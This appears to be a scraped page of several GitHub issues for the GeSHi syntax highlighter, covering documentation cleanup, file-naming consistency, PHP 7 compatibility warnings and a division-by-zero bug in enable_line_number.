This was discussed earlier in #77 and #78 - I'm moving the discussion to it's own ticket.

Currently the documentation that comes with GeSHi is quite outdated and hard to maintain. Here's what I suggest:

Remove src/docs/api completely from the repository and instead autogenerate it on push to master using travis and push it to either github pages or into the github wiki (with a note that the api docs are autogenerated and should not be edited).

Remove src/docs/geshi-doc* from the repository and instead move it to the wiki, giving the community a chance to keep it updated.

Move the rest of the src/docs folder out of the src, since it is not sources - some of the files are also quite outdated and it might be an idea to just delete them completely.

Naming regulations: _ or - in file names

While performing a manual merge on some of my files I noticed c_winapi and cpp-winapi. Could we please enforce naming rules such that we only use underscores or dashes? Unless the language actually includes these I don't see why we use both.
That would be my only concern at the moment.

Here are the ones I can find
Using "-"

  • cpp-qt.php
  • cpp-winapi.php
  • ocaml-brief.php
  • php-brief.php

Using "_"

  • apt_sources.php
  • c_loadrunner.php
  • c_mac.php
  • c_winapi.php
  • org_conf.php

php 7 incompatible compatibility

critical

src\geshi\php-brief.php

  • newOperatorWithReference
  • Line 18: * - Fixed &new problem

src\geshi\php.php

  • newOperatorWithReference
  • Line 18: * - Fixed &new problem

src\geshi\rebol.php

  • newOperatorWithReference
  • Line 18: * - Fixed &new problem

nuance

src\geshi.php

  • funcGetArg
  • Line 3336: $arrays = func_get_args();

enable_line_number method causes division by zero error

I think enable_line_number method should receive a number greater than 0 in param $nth_row.
When the method receive 0 ( param $nth_row) , causes division by zero error.

If I use this method wrong, would you tell me the correct way.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.